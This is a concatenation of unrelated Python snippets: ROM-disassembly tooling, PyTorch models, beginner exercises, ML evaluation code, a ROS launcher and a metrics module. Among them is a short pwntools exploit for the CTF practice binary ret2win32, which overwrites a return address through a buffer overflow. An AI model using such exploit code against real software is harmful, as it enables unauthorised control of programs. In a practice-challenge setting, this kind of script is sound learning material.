    newlines = newlines.replace("$x", "$")

    diff = generate_diff_insert(line_number, newlines)
    print(diff)
    print("... Applying diff.")

    #write the diff to a file
    fh = open("temp.patch", "w")
    fh.write(diff)
    fh.close()

    #apply the patch
    os.system("patch ../pokered.asm temp.patch")

    #remove the patch
    os.system("rm temp.patch")

    #confirm it's working
    subprocess.check_call("cd ../; make clean; LC_CTYPE=UTF-8 make", shell=True)

def get_all_map_blockdata():
    for map in extract_maps.map_headers.keys():
        extract_map_block_data(map)

def insert_all_labels():
    "this is very buggy, don't use it"
    #limit = 200 #0:150
    for map in extract_maps.map_headers.keys():
        mapmap = extract_maps.map_headers[map]
        if mapmap["name"] == "FREEZE": continue #skip this one
        if "Ash's" in mapmap["name"]: continue
        if "Gary's" in mapmap["name"]: continue
        if not ("cat" in mapmap["name"]) and "copy" in mapmap["name"].lower(): continue #skip this one

        #bill's house breaks things?
        #if mapmap["name"] == "Bill's House": continue
        if mapmap["name"] == "Viridian Forest": continue
        #if mapmap["name"] == "Cerulean Mart": continue
        if mapmap["name"] == "Virdian Forest Exit": continue
        #if "copy" in mapmap["name"].lower(): continue #skip this one too..

        if mapmap["map_pointer"] in used_map_pointers: continue #skip for sure

        #reset asm
        analyze_incbins.asm = None
        analyze_incbins.incbin_lines = []
        analyze_incbins.processed_incbins = {}

        #reload asm each time
        load_asm()

        #check if this label is already in there
        cleaned_name, label_text, filename, full_filepath = make_labels(mapmap["name"])
        if label_text in "\n".join(line for line in analyze_incbins.asm):
            print("skipping (found label text in asm already)")
            used_map_pointers.append(mapmap["map_pointer"])
            continue #skip this one

        isolate_incbins()
        process_incbins()

        print("XYZ|" + mapmap["name"])
        insert_map_block_label(map)

        used_map_pointers.append(mapmap["map_pointer"])

if __name__ == "__main__":
    #load map headers
    extract_maps.load_rom()
    extract_maps.load_map_pointers()
    extract_maps.read_all_map_headers()

    #load incbins
    load_asm()
    isolate_incbins()
    process_incbins()

    #extract_map_block_data(2)
    #get_all_map_blockdata()

    #insert_map_block_label(49)
    insert_all_labels()


pessoa = dict()
pessoas = list()
while True:
    pessoa.clear()
    pessoa['nome'] = str(input('Nome: '))
    pessoa['sexo'] = str(input('Sexo: [M/F]')).upper()
    while pessoa['sexo'] not in 'MF':
        pessoa['sexo'] = str(input('Por favor digite M ou F')).upper()
    pessoa['idade'] = int(input('Idade: '))
    pessoas.append(pessoa.copy())
    resp = str(input('Deseja continuar: '))
    if resp not in 'Ss':
        break
print('-=' * 30)
print(pessoas)
print('-=' * 30)


import torch
import torch.nn as nn

class CNN(nn.Module):
    def __init__(self):
        super(CNN, self).__init__()
        self.conv1 = nn.Sequential(
            nn.Conv2d(in_channels=1,  # input height
                      out_channels=6,  # n_filter
                      kernel_size=3,  # filter size
                      stride=1, # filter step
                      padding=2  # con2d出来的图片大小不变
                      ),  # output shape (16,28,28)
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2)

        )
        # self.conv1 =nn.Conv2d(in_channels=1,  # input height
        #               out_channels=6,  # n_filter
        #               kernel_size=2,  # filter size
        #               stride=1,  # filter step
        #               padding=2  # con2d出来的图片大小不变
        #               ) # output shape (16,28,28)

        # self.conv1 = nn.Conv2d(in_channels=1,  # input height
        #               out_channels=6,  # n_filter
        #               kernel_size=2,  # filter size
        #               stride=1, # filter step
        #               padding=2  # con2d出来的图片大小不变
        #               )  # output shape (16,28,28)
        self.conv2 = nn.Sequential(nn.Conv2d(
            in_channels=6,  # input height
            out_channels=12,  # n_filter
            kernel_size=3,  # filter size
            stride=1,  # filter step
            padding = 2  # con2d出来的图片大小不变
        ),  # output shape (32,7,7)
            nn.ReLU(),
            nn.MaxPool2d(2))
        self.out1 = nn.Linear(3468, 100)

        self.out2 = nn.Linear(100, 2)# 5808

    def forward(self,x):
        x = self.conv1(x)
        x = self.conv2(x)
        x = x.view(x.size(0), -1)
        # flat (batch_size, 32*7*7)
        output = self.out1(x)
        output2 = self.out2(output)

        return output2

def weights_init(m):
    if isinstance(m, nn.Conv2d):
        torch.nn.init.xavier_uniform_(m.weight, gain=1)


import csv

file = open("sample-sales.csv",'rt')
reader = csv.reader(file)
vegetables = set()
cereal = set()
fruits = set()
for row in reader:
        customer = (row[0],row[1])
        category = row[2]
        if category == "Vegetables":
                vegetables.add(customer)
        if category == "Cereal":
                cereal.add(customer)
        if category == "Fruits":
                fruits.add(customer)
file.close()

print("%s customers have purchased vegetables" % len(vegetables))
print("%s customers have purchased cereal" % len(cereal))
print("%s customers have purchased vegetables but not cereal" % len(vegetables - cereal))
print("%s customers have purchased vegetables and cereal" % len(vegetables & cereal))
print("%s customers have purchases vegetables and fruits" % len(vegetables & fruits))
print("%s customers have purchased vegetables, cereal and fruits" % len(vegetables & cereal & fruits))
print("The following customers are our most valued. They have purchased vegetables & cereal & fruits:")
for customer in vegetables & cereal & fruits:
        print(customer)


import pandas as pd
import numpy as np
from scipy.stats import multivariate_normal

TEST_FILE="test.txt"
TRAIN_FILE="train.txt"
PARAMETER_FILE="parameter.txt"
OUT1="Out1.txt"
OUT2="Out2.txt"
TRAIN_DATA = []
TEST_DATA = []
INF = 999999999999

mean, variance = 0, 0
n_mean, n_var = 0, 0
transition_prob = []
noOfClusters = 8
received_bits = []
cluster_means, Prior_Probability, cluster_covariances, h = [], [], [], []

def read_dataset():
    global TRAIN_DATA, TRAIN_FILE

    file = open(TRAIN_FILE, 'r')
    str = file.readline()

    temp = []
    temp[:0]= str
    map_object = map(int, temp)

    TRAIN_DATA = list(map_object)

    # print(TRAIN_DATA)
    return TRAIN_DATA

def read_test_data():
    """
    read test data
    """
    global TEST_FILE, TEST_DATA

    file = open(TEST_FILE, 'r')
    str = file.readline()

    temp = []
    temp[:0]= str
    map_object = map(int, temp)

    TEST_DATA = list(map_object)
    print(TEST_DATA)
    return TEST_DATA

if __name__ == "__main__":

    f = open(PARAMETER_FILE, 'r')
    h = list(map(float, f.readline().split()))
    n_var = float(f.readline())
    f.close()
    print(h,n_var)

    print("Starting channel equalization")
    I = read_dataset()

    # Determining the prior and transition probabilities
    # find_transition_prob()
    # train(I)
    # test_data = read_test_data()

    # y = equalizer_method_1(test_data)
    # calculate_accuracy(y, OUT1)

    # y = equalizer_method_2(test_data)
    # calculate_accuracy(y, OUT2)


import torch, math
from torch import nn
from torch.nn.functional import max_pool1d

class TFILM(torch.nn.Module):

    def __init__(self, filters, n_block):
        super(TFILM, self).__init__()
        self.filters = filters
        self.n_block = n_block
        # self.lstm = nn.LSTM(input_size=filters, hidden_size=filters)
        self.lstm = nn.LSTM(input_size=filters, hidden_size=filters, bidirectional=True)

    def make_normalizer(self, x_in):
        """applies an lstm layer on top of x_in"""
        # input (-1, 4096, n_filters) to (-1, 32, n_filters)
        # output: (-1, 32, n_filters)
        x_in_down = max_pool1d(input=x_in, kernel_size=self.n_block)
        x_rnn = self.lstm(x_in_down.transpose(2, 1))
        #return x_rnn[0]
        return torch.divide(torch.add(x_rnn[0][:, :, :int(x_rnn[0].shape[-1]/2)], x_rnn[0][:, :, int(x_rnn[0].shape[-1]/2):]), 2)

    def apply_normalizer(self, x_in, x_norm):
        x_shape = x_in.shape
        n_steps = int(math.ceil(x_shape[2] / self.n_block))
        # reshape input into blocks
        x_in = torch.reshape(x_in, shape=(-1, n_steps, self.n_block, self.filters))
        x_norm = torch.reshape(x_norm, shape=(-1, n_steps, 1, self.filters))
        # multiply
        x_out = x_norm * x_in
        # return to original shape
        x_out = torch.reshape(x_out, shape=x_shape)
        return x_out

    def forward(self, x):
        x_norm = self.make_normalizer(x)
        x = self.apply_normalizer(x, x_norm)
        return x

class PixelShuffle1D(torch.nn.Module):
    """
    1D pixel shuffler. https://arxiv.org/pdf/1609.05158.pdf
    Upscales sample length, downscales channel length
    "short" is input, "long" is output
    """
    def __init__(self, upscale_factor):
        super(PixelShuffle1D, self).__init__()
        self.upscale_factor = upscale_factor

    def forward(self, x):
        batch_size = x.shape[0]
        short_channel_len = x.shape[1]
        short_width = x.shape[2]

        long_channel_len = short_channel_len // self.upscale_factor
        long_width = self.upscale_factor * short_width

        x = x.contiguous().view([batch_size, self.upscale_factor, long_channel_len, short_width])
        x = x.permute(0, 2, 3, 1).contiguous()
        x = x.view(batch_size, long_channel_len, long_width)

        return x

class TFILMUNet(nn.Module):

    def downsampl(self, in_ch: int, out_ch: int, kernel_sz: int, padding_mode: str, layer: int):

        if padding_mode == "same":
            pad_calc = int((-1 + kernel_sz + (kernel_sz - 1) * (self.drate - 1)) / 2)
        else: pad_calc = 0

        return nn.Sequential(
            nn.Conv1d(in_channels=in_ch, out_channels=out_ch, kernel_size=kernel_sz, padding=pad_calc,
                      dilation=self.drate),
            nn.MaxPool1d(kernel_size=self.pool_size, padding=0, stride=self.stride),
            nn.LeakyReLU(negative_slope=0.2)
        )

    def bottleneck(self, in_ch: int, out_ch: int, kernel_sz: int, padding_mode: str):

        if padding_mode == "same":
            pad_calc = int((-1 + kernel_sz + (kernel_sz - 1) * (self.drate - 1)) / 2)
        else: pad_calc = 0

        return nn.Sequential(
            nn.Conv1d(in_channels=in_ch, out_channels=out_ch, kernel_size=kernel_sz, padding=pad_calc,
                      dilation=self.drate),
            nn.MaxPool1d(kernel_size=2, padding=0, stride=self.stride),
            nn.Dropout(p=0.5),
            nn.LeakyReLU(negative_slope=0.2)
        )

    def upsampl(self, in_ch: int, out_ch: int, kernel_sz: int, padding_mode: str, layer: int):

        upscale = 2
        if padding_mode == "same":
            pad_calc = int((-1 + kernel_sz + (kernel_sz - 1) * (self.drate - 1)) / 2)
        else: pad_calc = 0

        return nn.Sequential(
            nn.Conv1d(in_channels=in_ch, out_channels=upscale * out_ch, kernel_size=kernel_sz, padding=pad_calc,
                      dilation=self.drate),
            nn.Dropout(p=0.5),
            nn.ReLU(),
            PixelShuffle1D(upscale_factor=upscale),
            #TFILM(filters=out_ch, n_block=32)#128 // (2 ** layer))
        )

    def lastconv(self, in_ch: int, out_ch: int, kernel_sz: int, padding_mode: str):

        upscale = 2
        if padding_mode == "same":
            pad_calc = int((-1 + kernel_sz + (kernel_sz - 1) * (self.drate - 1)) / 2)
        else: pad_calc = 0

        # convolution --> dropout --> relu --> Subpixel shuffle --> stacking
        return nn.Sequential(
            nn.Conv1d(in_channels=in_ch, out_channels=2 * out_ch, kernel_size=kernel_sz, padding=pad_calc,
                      dilation=self.drate),
            PixelShuffle1D(upscale_factor=upscale),
        )

    def __init__(self):
        super(TFILMUNet, self).__init__()
        self.flatten = nn.Flatten()
        self.stride = 2
        self.pool_size = 2
        self.drate = 2
        '''
        FROM PAPER:
        n_filters = [  128,  256,  512, 512, 512, 512, 512, 512]
        n_blocks = [ 128, 64, 32, 16, 8]
        n_filtersizes = [65, 33, 17,  9,  9,  9,  9, 9, 9]
        downsampling_l = []
        '''

        # Network Layers
        # downsampling
        self.down1 = self.downsampl(1, 128, 65, "same", 0)
        self.tfilm_d1 = TFILM(filters=128, n_block=128 // (2 ** 0))
        self.down2 = self.downsampl(128, 256, 33, "same", 1)
        self.tfilm_d2 = TFILM(filters=256, n_block=128 // (2 ** 1))
        self.down3 = self.downsampl(256, 512, 17, "same", 2)
        self.tfilm_d3 = TFILM(filters=512, n_block=128 // (2 ** 2))
        self.down4 = self.downsampl(512, 512, 9,  "same", 3)
        self.tfilm_d4 = TFILM(filters=512, n_block=128 // (2 ** 3))
        # bottleneck
        self.bottle = self.bottleneck(512, 512, 9, "same")
        self.tfilm_b = TFILM(filters=512, n_block=128 // (2 ** 3))
        # upsampling
        self.up4 = self.upsampl(512, 512, 9, "same", 3)
        self.tfilm_u4 = TFILM(filters=512, n_block=128 // (2 ** 3))
        self.up3 = self.upsampl(1024, 256, 17, "same", 2)
        self.tfilm_u3 = TFILM(filters=256, n_block=128 // (2 ** 2))
        self.up2 = self.upsampl(768, 128, 33, "same", 1)
        self.tfilm_u2 = TFILM(filters=128, n_block=128 // (2 ** 1))
        self.up1 = self.upsampl(384, 1, 65, "same", 0)
        self.tfilm_u1 = TFILM(filters=1, n_block=128 // (2 ** 0))
        # last conv
        self.last = self.lastconv(129, 1, 9, "same")

    def forward(self, X):

        x = self.down1(X)
        conv1 = self.tfilm_d1(x)
        x = self.down2(x)
        conv2 = self.tfilm_d2(x)
        x = self.down3(conv2)
        conv3 = self.tfilm_d3(x)
        x = self.down4(conv3)
        conv4 = self.tfilm_d4(x)

        x = self.bottle(conv4)
        x = self.tfilm_b(x)

        x = self.up4(x)
        x = self.tfilm_u4(x)
        x = torch.cat([x, conv4], dim=1)
        x = self.up3(x)
        x = self.tfilm_u3(x)
        x = torch.cat([x, conv3], dim=1)
        x = self.up2(x)
        x = self.tfilm_u2(x)
        x = torch.cat([x, conv2], dim=1)
        x = self.up1(x)
        x = self.tfilm_u1(x)
        x = torch.cat([x, conv1], dim=1)

        x = self.last(x)
        x = torch.add(x, X)

        return x


from cmath import pi

print('Hello World')
print('o-----')
print('  ||||')
# This is the python course that I am starting with Mosh
print('*' * 10)

# Varibles in python
# We have int, floating point, boolean, string and whole lot
# Exe 1 is to print name, age of patient and tell if he is new patient or not

name = "John Smith"
age = 20
is_newPatient = True

# Getting User input
# full_name = input('What is your name? ')
# color = input('What is your favorite color? ')
# print(full_name + ' likes ' + color)

# Writing a program to calculate the our year
# year_born = input('What year were your born? ')
# age = str(2022 - int(year_born))
# print('You are ' + age + ' years old')

name = 'Jennifer'
another = name[1:-1]
print(another)

# Formatting a string
# To format a string, prefix it with an f and use the culry
# as a placeholder
first_name = "Sandra"
last_name = "Antwi"
message = f'{first_name} [{last_name}] is a coder'
print(message)

#String funtions and methods
# upper(), lower(), title(), find(), replace(), in, len()
course = "Python is the best programming language for cybersecurity"
print(len(course))
print(course.upper())
print(course.lower())
print(course.title())
print(course.replace("Python","Java"))
print("Language" in course)

# Implementing if-statements
price = 1000000
good_credit = False
if good_credit:
    down_payment = price * 0.1
else:
    down_payment = price * 0.2
print(f"down payment : ${down_payment}")

# Implementing logical operator and, or, not
# Implementing comparison operators >,<, <=,>=, !=
name = input("What is your name?")
if len(name) < 3:
    print("Name must be atleast 3 characters")
elif len(name) > 50:
    print("Name must be a maximum of 50 characters")
else:
    print("Name looks good!")

# Implementing a weight program to, the extended program
weight = input("Weight: ")
unit = input("(L)bs or (K)g: ").lower()
if unit == "l":
    converted_weight = float(weight) * 0.45
    final = round(converted_weight,2)
    print(f"You are {final} kilograms")
elif unit == "k":
    converted_weight = float(weight) / 0.45
    final = round(converted_weight)
    print(f"You are {final} pounds")
else:
    print(f"You entered wrong value")

# Making a guessing game

guess_number = 9
guess_limit = 3
guess_start = 0
while guess_start < guess_limit:
    user_guess = int(input("Guess a number: "))
    guess_start += 1
    if guess_number == user_guess:
        print(f"You won!")
        break
else:
    print(f"Sorry, you lost!")

#Building a car game
menu = ""
while True:
    menu =  input("> ").lower()
    if menu == "start":
        print(f"Car started..... ready to go")
    elif menu == "stop":
        print(f"Car stopped.")
    elif menu == "help":
         print("""start - to start the car
stop - to stop the car
quit - to exit""")
    elif menu == "quit":
        break
    else:
        print(f"I don't undertand that......")

# For loop
for item in "python":
    print(item)

price = [10,20, 30]
amount = 0
for list in price:
    amount += list
print(amount)


import pytz
from datetime import datetime, timedelta

def check_availability():
    est = pytz.timezone('US/Eastern')
    now_est = datetime.now(est)
    current_hour = now_est.hour
    current_day = now_est.weekday()

    if current_day == 1 and current_hour >= 4:  # Tuesday 4am onwards
        return True, now_est.strftime("%A")
    elif 1 < current_day < 4:  # All day Wednesday and Thursday until 7pm
        return True, now_est.strftime("%A")
    elif current_day == 4 and current_hour < 19:  # Thursday until 7pm
        return True, now_est.strftime("%A")
    else:
        return False, now_est.strftime("%A")

def get_current_week(current_date):
    date_week_dict = {
    '9/5/2023': 1, '9/12/2023': 2, '9/19/2023': 3, '9/26/2023': 4,
    '10/3/2023': 5, '10/10/2023': 6, '10/17/2023': 7, '10/24/2023': 8,
    '10/30/2023': 9, '11/6/2023': 10, '11/13/2023': 11, '11/20/2023': 12,
    '11/27/2023': 13, '12/4/2023': 14, '12/11/2023': 15, '12/18/2023': 16
    }
    # Convert the string dates to datetime objects
    date_week_dict_converted = {datetime.strptime(date, '%m/%d/%Y'): week for date, week in date_week_dict.items()}

    # Sort the dates in descending order
    sorted_dates = sorted(date_week_dict_converted.keys(), reverse=True)

    # Iterate through the sorted dates to find the corresponding week number
    for date in sorted_dates:
        if current_date >= date:
            return date_week_dict_converted[date]
    return None  # If current date is before all the dates in the dictionary


# cache
import os
import pickle
import time
import sys
sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))
open = open
def cache(filename, func, *args, **keywords):
  from . import Element
  time_start = time.time()
  existed = os.path.isfile(filename)
  print('cache {0}'.format(filename))
  if existed:
    print('loading form {0}'.format(filename))
    cached = open(filename, 'rb')
    data = pickle.load(cached)
  else:
    print('loading by computing')
    data = func(*args, **keywords)
    pickle.dump(data, open(filename, 'wb'), -1)
  print('loading {0} finished :{1}s'.format(filename, time.time()-time_start))
  return data

def cacheDecorator(f):
  def _call(filename, *args, **kwargs):
    return cache(filename, f, *args, **kwargs)
  return _call

def clearCache(filename):
  print(filename)
  existed = os.path.isfile(filename)
  if existed:
    os.remove(filename)


import os
import optparse
import sys
import time
import logging
import socket
import rosmaster.master
from rosmaster.main import NUM_WORKERS
from illuminant import Illuminant
from daemon import Daemon

def configure_logging():
    """
    Setup filesystem logging for the master
    """
    filename = 'illuminant.log'
    import rosgraph.names
    import rosgraph.roslogging
    mappings = rosgraph.names.load_mappings(sys.argv)
    if '__log' in mappings:
        logfilename_remap = mappings['__log']
        filename = os.path.abspath(logfilename_remap)
    _log_filename = rosgraph.roslogging.configure_logging('rosmaster', logging.DEBUG, filename=filename)

def illuminant_main(argv=sys.argv, stdout=sys.stdout, env=os.environ):
    parser = optparse.OptionParser(usage="usage: zenmaster [options]")
    parser.add_option("--core",
                      dest="core", action="store_true", default=False,
                      help="run as core")
    parser.add_option("-p", "--port",
                      dest="port", default=0,
                      help="override port", metavar="PORT")
    parser.add_option("-w", "--numworkers",
                      dest="num_workers", default=NUM_WORKERS, type=int,
                      help="override number of worker threads", metavar="NUM_WORKERS")
    parser.add_option("-t", "--timeout",
                      dest="timeout",
                      help="override the socket connection timeout (in seconds).", metavar="TIMEOUT")
    options, args = parser.parse_args(argv[1:])

    # only arg that zenmaster supports is __log remapping of logfilename
    for arg in args:
        if not arg.startswith('__log:='):
            parser.error("unrecognized arg: %s" % arg)
    configure_logging()

    port = rosmaster.master.DEFAULT_MASTER_PORT
    if options.port:
        port = int(options.port)

    if not options.core:
        print("""

ACHTUNG WARNING ACHTUNG WARNING ACHTUNG
WARNING ACHTUNG WARNING ACHTUNG WARNING

Standalone illuminant has been deprecated just like 'rosmaster'
Please use 'glcore' instead

ACHTUNG WARNING ACHTUNG WARNING ACHTUNG
WARNING ACHTUNG WARNING ACHTUNG WARNING

""")

    logger = logging.getLogger("illuminant.main")
    logger.info("initialization complete, waiting for shutdown")

    if options.timeout is not None and float(options.timeout) >= 0.0:
        logger.info("Setting socket timeout to %s" % options.timeout)
        socket.setdefaulttimeout(float(options.timeout))

    illuminant = None
    try:
        logger.info("Starting ROS Master Node")
        illuminant = Illuminant(port, options.num_workers)
        illuminant.start()

        while illuminant.ok():
            time.sleep(.1)
    except KeyboardInterrupt:
        logger.info("keyboard interrupt, stopping master...")
        if illuminant is not None:
            illuminant.stop()
    except Exception as e:
        logger.error("error occurred, {}".format(e))

def daemon_main():
    configure_logging()
    daemon = None
    logger = logging.getLogger("daemon.main")
    try:
        daemon = Daemon('http://illuminant:11311')
        daemon.start()
        while daemon.ok():
            time.sleep(.1)
    except KeyboardInterrupt:
        if daemon is not None:
            daemon.stop()
    except Exception as e:
        logger.error("error occurred, {}".format(e))


import re
code = "012345"
day = "20190620"
data = ["price=80 code=987654 time=2019062113", "price=90 code=012345 time=2019062014",
        "price=120 code=987654 time=2019062010", "price=110 code=012345 time=2019062009", "price=95 code=012345 time=2019062111"]

def solution(code, day, data):
    answer = {}
    for i in range(len(data)):
        data[i] = re.findall('\d+', data[i])

        if data[i][1] == code and data[i][2][:-2] == day:
            answer[data[i][0]] = int(data[i][2][-2:])

    # print(data)
    print(answer)
    answer = sorted(answer.items(), key=lambda x: x[1])
    print(f"answer:{answer}")
    ranswer = []
    for candi in answer:
        ranswer.append(int(candi[0]))
    print(ranswer)
    return answer

solution(code, day, data)


#!/root/env/bin/python
from pwn import *
elf = context.binary = ELF("./ret2win32")
gdb_cmd = [
    "c"
]
io = process(elf.path)
gdb.attach(io,gdbscript="\n".join(gdb_cmd))
offset = cyclic_find("laaa")
io.sendline("A"*offset+p64(0x08048659))
io.interactive()


from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier
from sklearn.linear_model import LogisticRegression, LinearRegression
from sklearn.tree import DecisionTreeClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
import xgboost as xgb
from sklearn.model_selection import cross_val_score, cross_validate,cross_val_predict, StratifiedShuffleSplit, GridSearchCV, PredefinedSplit
from sklearn.metrics import make_scorer, accuracy_score, precision_score, recall_score, f1_score, precision_recall_fscore_support
import numpy as np
from profiling import *
import pandas as pd
from sklearn.tree import export_text

def getClassifier(name, *args, **kwargs):
    if name=="rf": return RandomForestClassifier(*args, **kwargs)
    elif name=="gboost" : return GradientBoostingClassifier(*args, **kwargs)
    elif name=="svm" : return SVC(*args, **kwargs)
    elif name=="dt": return DecisionTreeClassifier(*args, **kwargs)
    elif name=="logr": return LogisticRegression(*args, **kwargs)
    elif name=="linr": return LinearRegression(*args, **kwargs)
    else:
        print("Unknown classifier name %s" %s)
        return None

def getFeatureImportances(model):
    if isinstance(model, SVC) and model.kernel != 'linear':
        display("Cannot print feature importances without a linear kernel")
        return None
    elif isinstance(model, SVC) or isinstance(model, LogisticRegression) or isinstance(model, LinearRegression):
        return model.coef_.ravel()
    else: return model.feature_importances_

def getNestedXValidationResults(data, model):

    if ('source_id' in data.columns.values):
        X = data.drop(['source_id', 'target_id', 'pair_id', 'label'], axis=1)
    else: X = data.drop(['label'], axis=1)
    y = data['label'].values
    f1_scorer = make_scorer(f1_score)

    if model=="non-linear":
        grid_values = {'n_estimators' : [10, 100, 500], 'max_depth' : [10, 50, None], 'min_samples_leaf' : [1, 3, 5]}
        clf = RandomForestClassifier(random_state=1)

    elif model=="linear":
        grid_values_1 = { 'kernel' : ['linear'], 'max_iter':[100000]}
        grid_values_2 = {'C' : np.logspace(-2, 5, 10), 'max_iter':[100000], 'kernel' : ['rbf'], 'gamma': [1.e-06, 1.e-04, 1.e-02, 1.e+00, 1.e+01, 'scale']}
        grid_values= []
        grid_values.append(grid_values_1)
        grid_values.append(grid_values_2)
        clf = SVC(random_state=1, probability=True)

    clf_gs = GridSearchCV(clf, grid_values, scoring=f1_scorer, cv=StratifiedShuffleSplit(n_splits=4,random_state =1), verbose=10, n_jobs=20)
    xval_scoring = {'precision' : make_scorer(precision_score),
                           'recall' : make_scorer(recall_score), 'f1_score' : make_scorer(f1_score)}

    results = cross_validate(clf_gs, X, y, cv=StratifiedShuffleSplit(n_splits=4,random_state =1),  scoring=xval_scoring)
    prediction_probs = cross_val_predict(clf_gs, X, y, method='predict_proba')
    pred_scores = list(map(lambda x:max(x),prediction_probs))

    precision = round(np.mean(results['test_precision']),2)
    recall = round(np.mean(results['test_recall']),2)
    f1 = round(np.mean(results['test_f1_score']),2)
    f1_std = round(np.std(results['test_f1_score']),2)

    print('Precision : '+str(precision))
    print('Recall : '+str(recall))
    print('F1 : '+str(f1))
    print('F1_std : '+str(f1_std))

    #print("--- Feature Importances ---")
    #showFeatureImportances(X.columns.values, clf, classifierName='tree')
    return precision, recall, f1, f1_std

def getSplitValidationResults(train_val, test, model_type, optimization= False, model_name = None, *args, **kwargs):

    X_train_val = train_val.drop(['source_id', 'target_id', 'pair_id', 'label'], axis=1)
    y_train_val =train_val['label'].values

    X_test = test.drop(['source_id', 'target_id', 'pair_id', 'label'], axis=1)
    y_test = test['label'].values

    f1_scorer = make_scorer(f1_score)

    # source:https://www.wellformedness.com/blog/using-a-fixed-training-development-test-split-in-sklearn/
    if optimization:
        splits_train_val = StratifiedShuffleSplit(n_splits=1, test_size=0.3, random_state=1)
        train_index, val_index = next(splits_train_val.split(X_train_val,y_train_val))

        X_train, X_val, y_train, y_val = X_train_val.loc[train_index], X_train_val.loc[val_index],y_train_val[train_index],y_train_val[val_index]

        X_train_val = np.concatenate([X_train, X_val])
        y_train_val = np.concatenate([y_train, y_val])

        val_fold = np.concatenate([
            np.full(X_train.shape[0], -1 ,dtype=np.int8),
            # The development data.
            np.zeros(X_val.shape[0], dtype=np.int8)
        ])
        cv = PredefinedSplit(val_fold)

        if model_type=="non-linear":
            grid_values = {'n_estimators' : [10, 100, 500], 'max_depth' : [5, 10, 50, None], 'min_samples_leaf' : [1, 3, 5]}
            clf = RandomForestClassifier(random_state=1)

        elif model_type=="linear":
            grid_values_1 = { 'kernel' : ['linear'], 'max_iter':[100000]}
            grid_values_2 = {'C' : np.logspace(-2, 5, 10), 'max_iter':[100000], 'kernel' : ['rbf'], 'gamma': [1.e-06, 1.e-04, 1.e-02, 1.e+00, 1.e+01, 'scale']}
            grid_values= []
            grid_values.append(grid_values_1)
            grid_values.append(grid_values_2)
            clf = SVC(random_state=1, probability=True)

        model = GridSearchCV(clf, grid_values, scoring=f1_scorer, cv=cv,verbose=10, n_jobs=-1) #parallel jobs

    else:
        if model_type=="non-linear":
            if model_name=="rf" or model_name==None:
                model = RandomForestClassifier(random_state=1, *args, **kwargs)
            if model_name=="dt":
                model = DecisionTreeClassifier(random_state=1, *args, **kwargs)
        elif model_type == "linear":
            model = SVC(random_state=1, probability=True, *args, **kwargs)

    model.fit(X_train_val,y_train_val)
    if(model_name=="dt"):
        #print(printTreeRules( X_train_val.columns,model))
        text_rules = export_text(model, feature_names=X_train_val.columns.values.tolist())
        print(text_rules)

    if (bool(X_test.columns.values.tolist()!=X_train_val.columns.values.tolist()) ):
        print("Columns of train and test set not aligned. STOP.")
    predictions = model.predict(X_test)
    prediction_probs = model.predict_proba(X_test)
    pred_scores = list(map(lambda x:max(x),prediction_probs))
    prec, recall, fscore, support  = precision_recall_fscore_support(y_test, predictions, average='binary')

    precision =round(prec,2)
    recall =round(recall,2)
    f1 =round(fscore,2)

    return precision, recall, f1


from typing import Any, Dict, List, Optional, Tuple, Union

import numpy as np
from numpy.typing import NDArray
from sklearn.metrics import accuracy_score, confusion_matrix  # type: ignore
from tabulate import tabulate
from termcolor import colored

from ..dataflow import DataFlow
from ..datasets.info import DatasetCategories
from ..mapper.cats import image_to_cat_id
from ..utils.detection_types import JsonDict
from .base import MetricBase

__all__ = ["AccuracyMetric", "ConfusionMetric"]

def accuracy(label_gt: List[np.int32], label_predictions: List[np.int32], masks: Optional[List[int]] = None) -> float:
    """
    Calculates the accuracy given predictions and labels. Ignores masked indices. Uses
    :func:`sklearn.metrics.accuracy_score`

    :param label_gt: List of ground truth labels
    :param label_predictions: List of predictions. Must have the same length as label_gt
    :param masks: An optional list with masks to ignore some samples.

    :return: Accuracy score with only unmasked values to be considered
    """

    np_label_gt, np_label_predictions = np.asarray(label_gt), np.asarray(label_predictions)
    assert len(np_label_gt) == len(
        np_label_predictions
    ), f"length of label_gt ({len(np_label_gt)}) and label_predictions ({len(np_label_gt)}) must be equal"

    if masks is not None:
        assert len(np_label_gt) == len(
            masks
        ), f"length of label_gt ({len(np_label_gt)}) and label_predictions ({len(masks)}) must be equal"
        masks = np.asarray(masks)  # type: ignore
        masks.astype(bool)  # type: ignore
        np_label_gt = np_label_gt[masks]
        np_label_predictions = np_label_predictions[masks]
    return accuracy_score(np_label_gt, np_label_predictions)

class AccuracyMetric(MetricBase):
    """
    Metric induced by :func:`accuracy`
    """

    metric = accuracy  # type: ignore
    mapper = image_to_cat_id
    _cats = None
    _sub_cats = None

    @classmethod
    def dump(
        cls, dataflow_gt: DataFlow, dataflow_predictions: DataFlow, categories: DatasetCategories
    ) -> Tuple[Any, Any]:

        dataflow_gt.reset_state(), dataflow_predictions.reset_state()  # pylint: disable=W0106

        cls._category_sanity_checks(categories)
        if cls._cats is None and cls._sub_cats is None:
            cls._cats = categories.get_categories(as_dict=False, filtered=True)
        mapper_with_setting = cls.mapper(cls._cats, cls._sub_cats)  # type: ignore
        labels_gt: Dict[str, List[int]] = {}
        labels_predictions: Dict[str, List[int]] = {}
        for dp_gt, dp_pd in zip(dataflow_gt, dataflow_predictions):
            dp_labels_gt = mapper_with_setting(dp_gt)  # pylint: disable=E1102
            dp_labels_predictions = mapper_with_setting(dp_pd)  # pylint: disable=E1102
            for key in dp_labels_gt.keys():
                if key not in labels_gt:
                    labels_gt[key] = dp_labels_gt[key]
                    labels_predictions[key] = dp_labels_predictions[key]
                else:
                    labels_gt[key].extend(dp_labels_gt[key])
                    labels_predictions[key].extend(dp_labels_predictions[key])

        return labels_gt, labels_predictions

    @classmethod
    def get_distance(
        cls, dataflow_gt: DataFlow, dataflow_predictions: DataFlow, categories: DatasetCategories, as_dict: bool = False
    ) -> Union[List[JsonDict], JsonDict]:

        labels_gt, labels_predictions = cls.dump(dataflow_gt, dataflow_predictions, categories)

        results = []
        for key in labels_gt:  # pylint: disable=C0206
            res = cls.metric(labels_gt[key], labels_predictions[key])  # type: ignore
            results.append({"key": key, "val": res, "num_samples": len(labels_gt[key])})
        if as_dict:
            return cls.result_list_to_dict(results)
        return results

    @classmethod
    def set_categories(
        cls,
        category_names: Optional[Union[str, List[str]]] = None,
        sub_category_names: Optional[Union[Dict[str, str], Dict[str, List[str]]]] = None,
    ) -> None:
        """
